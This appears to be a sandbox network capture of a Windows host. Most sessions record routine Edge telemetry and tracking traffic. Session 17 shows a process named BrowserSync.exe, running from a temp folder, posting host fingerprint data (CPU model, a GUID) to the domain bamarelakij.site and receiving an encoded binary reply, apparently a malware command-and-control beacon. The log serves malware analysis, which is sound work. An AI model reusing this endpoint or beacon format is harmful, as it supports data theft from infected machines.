2025-01-09 13:41:09 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=d3434a4ac1ed4121844d01640803eadf&HASH=d343&LV=202501&V=4&LU=1736430069226; Domain=.microsoft.com; Expires=Fri, 09 Jan 2026 13:41:09 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=d1bbc17b8b8c411bad54bf09040325eb; Domain=.microsoft.com; Expires=Thu, 09 Jan 2025 14:11:09 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1454 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Thu, 09 Jan 2025 13:41:09 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49837	18.173.219.84	443	8176	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 13:41:09 UTC	1012	OUT	GET /b2?rn=1736430067774&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=3AADB05FC3906D36247DA530C2F26CF4&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: UID=1B69ceef9c01beafbf02b721736430068; XID=1B69ceef9c01beafbf02b721736430068
2025-01-09 13:41:09 UTC	326	IN	HTTP/1.1 204 No Content Connection: close Date: Thu, 09 Jan 2025 13:41:09 GMT Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 77f996b8fbacf0f3f9e92ea84c0aeb9e.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK52-P1 X-Amz-Cf-Id: 8MWmGkjp9nZmLVLmPO0jrNHvx8-tHGKdTuA8rEoINAWNZAgCyDIkpg==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49847	20.110.205.119	443	8176	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 13:41:09 UTC	1261	OUT	GET /c.gif?rnd=1736430067774&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=c0bbf685d83c442b9fe503242c20b6fc&activityId=c0bbf685d83c442b9fe503242c20b6fc&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=C7020E5FD97649BABA433FD711F27806&MUID=3AADB05FC3906D36247DA530C2F26CF4 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=3AADB05FC3906D36247DA530C2F26CF4; _EDGE_S=F=1&SID=1568EDC37D376DE73348F8AC7CFA6C29; _EDGE_V=1; SM=T
2025-01-09 13:41:10 UTC	983	IN	HTTP/1.1 200 OK Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Content-Type: image/gif Last-Modified: Wed, 08 Jan 2025 16:37:23 GMT Accept-Ranges: bytes ETag: "dda11c98eb61db1:0" Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=C; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=3AADB05FC3906D36247DA530C2F26CF4; domain=.msn.com; expires=Tue, 03-Feb-2026 13:41:09 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: SRM_M=3AADB05FC3906D36247DA530C2F26CF4; domain=c.msn.com; expires=Tue, 03-Feb-2026 13:41:09 GMT; path=/; SameSite=None; Secure; Set-Cookie: MR=0; domain=c.msn.com; expires=Thu, 16-Jan-2025 13:41:09 GMT; path=/; SameSite=None; Secure; Set-Cookie: ANONCHK=0; domain=c.msn.com; expires=Thu, 09-Jan-2025 13:51:09 GMT; path=/; SameSite=None; Secure; Date: Thu, 09 Jan 2025 13:41:09 GMT Connection: close Content-Length: 42
2025-01-09 13:41:10 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49867	20.189.173.28	443	8176	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 13:41:11 UTC	1026	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736430069999&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 11053 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=3AADB05FC3906D36247DA530C2F26CF4; _EDGE_S=F=1&SID=1568EDC37D376DE73348F8AC7CFA6C29; _EDGE_V=1
2025-01-09 13:41:11 UTC	11053	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 35 2d 30 31 2d 30 39 54 31 33 3a 34 31 3a 30 39 2e 39 39 38 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 32 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 65 31 36 33 34 39 65 34 2d 66 36 33 38 2d 34 35 64 33 2d 38 63 61 61 2d 33 35 30 64 30 31 32 38 31 30 38 35 22 2c 22 65 70 6f 63 68 22 3a 22 34 32 37 36 30 34 31 32 33 39 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2025-01-09T13:41:09.998Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":2,"installId":"e16349e4-f638-45d3-8caa-350d01281085","epoch":"4276041239"},"app":{"locale
2025-01-09 13:41:11 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=83cab848810d467aaec13ceba08acec0&HASH=83ca&LV=202501&V=4&LU=1736430071406; Domain=.microsoft.com; Expires=Fri, 09 Jan 2026 13:41:11 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=4f0a46275cb54615b300c1482b129028; Domain=.microsoft.com; Expires=Thu, 09 Jan 2025 14:11:11 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1407 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Thu, 09 Jan 2025 13:41:11 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49868	20.189.173.28	443	8176	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 13:41:11 UTC	1026	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736430070008&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 32378 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=3AADB05FC3906D36247DA530C2F26CF4; _EDGE_S=F=1&SID=1568EDC37D376DE73348F8AC7CFA6C29; _EDGE_V=1
2025-01-09 13:41:11 UTC	16384	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 35 2d 30 31 2d 30 39 54 31 33 3a 34 31 3a 31 30 2e 30 30 35 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 33 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 65 31 36 33 34 39 65 34 2d 66 36 33 38 2d 34 35 64 33 2d 38 63 61 61 2d 33 35 30 64 30 31 32 38 31 30 38 35 22 2c 22 65 70 6f 63 68 22 3a 22 34 32 37 36 30 34 31 32 33 39 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2025-01-09T13:41:10.005Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":3,"installId":"e16349e4-f638-45d3-8caa-350d01281085","epoch":"4276041239"},"app":{"locale
2025-01-09 13:41:11 UTC	15994	OUT	Data Raw: 65 77 25 32 30 74 61 62 26 64 73 70 3d 31 26 73 70 3d 42 69 6e 67 26 69 73 46 52 45 4d 6f 64 61 6c 42 61 63 6b 67 72 6f 75 6e 64 3d 31 26 73 74 61 72 74 70 61 67 65 3d 31 26 50 43 3d 55 35 33 31 26 6f 63 69 64 3d 6d 73 65 64 67 64 68 70 22 2c 22 76 69 65 77 54 79 70 65 22 3a 22 73 69 7a 65 33 63 6f 6c 75 6d 6e 22 2c 22 74 68 65 6d 65 22 3a 22 6c 69 67 68 74 22 2c 22 68 61 73 33 50 53 65 61 72 63 68 22 3a 66 61 6c 73 65 2c 22 69 73 53 65 61 72 63 68 41 42 22 3a 66 61 6c 73 65 2c 22 69 73 4d 6f 6e 65 74 69 7a 65 64 22 3a 66 61 6c 73 65 2c 22 70 69 76 6f 74 22 3a 22 22 2c 22 72 65 66 65 72 72 61 6c 22 3a 22 22 2c 22 64 77 65 6c 6c 54 69 6d 65 22 3a 30 7d 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 73 4d 6f 62 69 6c 65 22 3a 66 61 6c 73 65 2c 22 77 69 64 74 68 Data Ascii: ew%20tab&dsp=1&sp=Bing&isFREModalBackground=1&startpage=1&PC=U531&ocid=msedgdhp","viewType":"size3column","theme":"light","has3PSearch":false,"isSearchAB":false,"isMonetized":false,"pivot":"","referral":"","dwellTime":0},"browser":{"isMobile":false,"width
2025-01-09 13:41:11 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=2877beb47e3248cbaab919e2dfc8d70c&HASH=2877&LV=202501&V=4&LU=1736430071582; Domain=.microsoft.com; Expires=Fri, 09 Jan 2026 13:41:11 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=e0645ad0ae5849859d632cd3f5fc30f4; Domain=.microsoft.com; Expires=Thu, 09 Jan 2025 14:11:11 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1574 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Thu, 09 Jan 2025 13:41:11 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49872	20.189.173.28	443	8176	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 13:41:11 UTC	1033	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736430070599&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5380 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=3AADB05FC3906D36247DA530C2F26CF4; _EDGE_S=F=1&SID=1568EDC37D376DE73348F8AC7CFA6C29; _EDGE_V=1; msnup=
2025-01-09 13:41:11 UTC	5380	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 35 2d 30 31 2d 30 39 54 31 33 3a 34 31 3a 31 30 2e 35 39 38 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 34 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 65 31 36 33 34 39 65 34 2d 66 36 33 38 2d 34 35 64 33 2d 38 63 61 61 2d 33 35 30 64 30 31 32 38 31 30 38 35 22 2c 22 65 70 6f 63 68 22 3a 22 34 32 37 36 30 34 31 32 33 39 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2025-01-09T13:41:10.598Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":4,"installId":"e16349e4-f638-45d3-8caa-350d01281085","epoch":"4276041239"},"app":{"locale
2025-01-09 13:41:12 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=8993a54f8013497f837780719f29a66a&HASH=8993&LV=202501&V=4&LU=1736430072158; Domain=.microsoft.com; Expires=Fri, 09 Jan 2026 13:41:12 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=ed79c599ce69421a9d2e5cb03348a205; Domain=.microsoft.com; Expires=Thu, 09 Jan 2025 14:11:12 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1559 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Thu, 09 Jan 2025 13:41:11 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49876	20.189.173.28	443	8176	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 13:41:12 UTC	1033	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736430070992&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 9881 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=3AADB05FC3906D36247DA530C2F26CF4; _EDGE_S=F=1&SID=1568EDC37D376DE73348F8AC7CFA6C29; _EDGE_V=1; msnup=
2025-01-09 13:41:12 UTC	9881	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 35 2d 30 31 2d 30 39 54 31 33 3a 34 31 3a 31 30 2e 39 39 31 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 35 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 65 31 36 33 34 39 65 34 2d 66 36 33 38 2d 34 35 64 33 2d 38 63 61 61 2d 33 35 30 64 30 31 32 38 31 30 38 35 22 2c 22 65 70 6f 63 68 22 3a 22 34 32 37 36 30 34 31 32 33 39 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2025-01-09T13:41:10.991Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":5,"installId":"e16349e4-f638-45d3-8caa-350d01281085","epoch":"4276041239"},"app":{"loc
2025-01-09 13:41:12 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=62d05063e542493bb6ba88091abba958&HASH=62d0&LV=202501&V=4&LU=1736430072777; Domain=.microsoft.com; Expires=Fri, 09 Jan 2026 13:41:12 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=150bd44fd90347b9901c22b6a1840b72; Domain=.microsoft.com; Expires=Thu, 09 Jan 2025 14:11:12 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1785 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Thu, 09 Jan 2025 13:41:12 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49875	172.67.174.91	443	6108	C:\Users\user\AppData\Local\Temp\BrowserSync.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 13:41:12 UTC	328	OUT	POST /64.htm?hkv47kov=jujLeecKnLDxH4%2Fn3Gf%2FcLOXX1VHlofmE6nbrKOrHhL4GuQ5YkbXRU4eMxxn6chYW44JbQRqTNknnCoZoJ5qDg%3D%3D HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Content-Length: 147 Host: bamarelakij.site
2025-01-09 13:41:12 UTC	147	OUT	Data Raw: 00 00 00 00 fd ff ff ff 00 00 00 00 03 00 00 00 92 00 00 00 00 00 00 fe ff ff ff 00 00 00 00 60 00 00 00 97 00 a0 d9 26 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a a0 ce 64 3c 20 95 cf 01 d9 f5 d7 9d 1e 13 ec d9 24 39 65 31 34 36 62 65 39 2d 63 37 36 61 2d 34 37 32 30 2d 62 63 64 62 2d 35 33 30 31 31 62 38 37 62 64 30 36 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: `&Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzd< $9e146be9-c76a-4720-bcdb-53011b87bd06
2025-01-09 13:41:13 UTC	825	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 13:41:13 GMT Transfer-Encoding: chunked Connection: close ews: PuwyymoQi+JtPN4ute+6ODpPd+ApSWsY9IWQJs6G8Wi2/wA3/Nkcmc/Wio/7MyGLdkzTj8aV5zw cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZNT1X10o45n3KpKsOXBoaYCvBUW2ySeO%2BYLTMzD0q2Wb4erGkCcWhPIKHDhuZF2HOoT3nRHI0EcGa0y9jPCj4SpZ98EpVFX2HP9PHzQCaAgRVhz7L2jY90qVS3VvrUebqnXI"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff4d7f12ebc17e9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1615&min_rtt=1608&rtt_var=617&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2838&recv_bytes=1111&delivery_rate=1754807&cwnd=232&unsent_bytes=0&cid=aa1d0079b0755d43&ts=1111&x=0"
2025-01-09 13:41:13 UTC	544	IN	Data Raw: 33 32 66 32 0d 0a 00 00 00 00 4d 3d c5 30 00 00 00 00 1c 8a 00 00 15 00 a0 0a ef 06 42 00 08 02 1b 16 07 1f 0b 26 d6 d6 ae a0 0a 65 06 ab 4b 3d 77 95 29 a1 1d 2e 28 39 b7 b3 39 b0 b6 10 23 b4 36 b2 b9 2e 21 39 b0 3b b2 a9 b7 33 3a bb b0 39 b2 2e 21 39 b0 3b b2 96 21 39 b7 bb b9 b2 39 2e a0 38 38 36 b4 b1 b0 3a b4 b7 37 2e 31 39 b0 3b b2 17 b2 3c b2 15 00 a8 0a 7e 02 08 00 08 02 1b 16 07 1f 0b 26 c0 c0 11 a8 0a 26 24 7c 11 5e 5e 57 32 46 f7 66 c1 0a 2d 12 13 15 00 c9 08 54 0d 08 00 08 02 1b 16 07 1f 0b 26 c0 c0 ae c9 08 50 5c 35 5d 39 a0 03 48 40 8f 2f 8d 6d d3 46 69 11 00 97 07 96 04 04 00 04 02 1b 16 07 1f 0b 26 d1 d1 ae 97 07 6a bf 75 c5 24 b9 dc 47 15 00 d7 0c 62 07 08 00 08 02 1b 16 07 1f 0b 26 c0 c0 ae d7 0c 5e 9e 1b 7e f4 59 a1 a3 2a 4d 01 ae a0 2a Data Ascii: 32f2M=0B&eK=w).(99#6.!9;3:9.!9;!99.886:7.19;<~&&$\|^^W2Ff-T&P\5]9H@/mFi&ju$Gb&^~YM
2025-01-09 13:41:13 UTC	1369	IN	Data Raw: 00 38 0b ab 08 08 00 08 02 1b 16 07 1f 0b 26 d6 d6 a0 38 0b 65 06 ab 4b 3d 77 95 29 a9 b2 3a 3a b4 37 b3 b9 11 00 14 0d 54 00 04 00 04 02 1b 16 07 1f 0b 26 d1 d1 fd 14 0d d7 f8 35 e6 99 fe 9c 64 15 00 a6 01 fd 0d 08 00 08 02 1b 16 07 1f 0b 26 c0 c0 a0 a6 01 35 45 f7 98 f2 ee 84 03 45 96 ed 48 a6 9d c1 22 15 00 ca 05 3f 0c 0c 00 08 02 1b 16 07 1f 0b 26 d6 d6 11 ca 05 65 06 ab 4b 3d 77 95 29 b9 b2 39 3b b4 b1 b2 17 b1 b7 37 33 15 00 e3 09 cd 09 08 00 08 02 1b 16 07 1f 0b 26 d6 d6 4e e3 09 65 06 ab 4b 3d 77 95 29 15 17 bb b0 36 36 b2 3a 15 00 ec 0e 74 0d 08 00 08 02 1b 16 07 1f 0b 26 c0 c0 a0 ec 0e fd 42 c7 ce e2 2f 4d 5a 8d 91 dd 1e b6 5c 08 7b 11 00 f2 0e 60 08 04 00 04 02 1b 16 07 1f 0b 26 d1 d1 4e f2 0e e8 5b 3e c2 a6 5d 97 40 11 00 11 0a 72 09 04 00 04 Data Ascii: 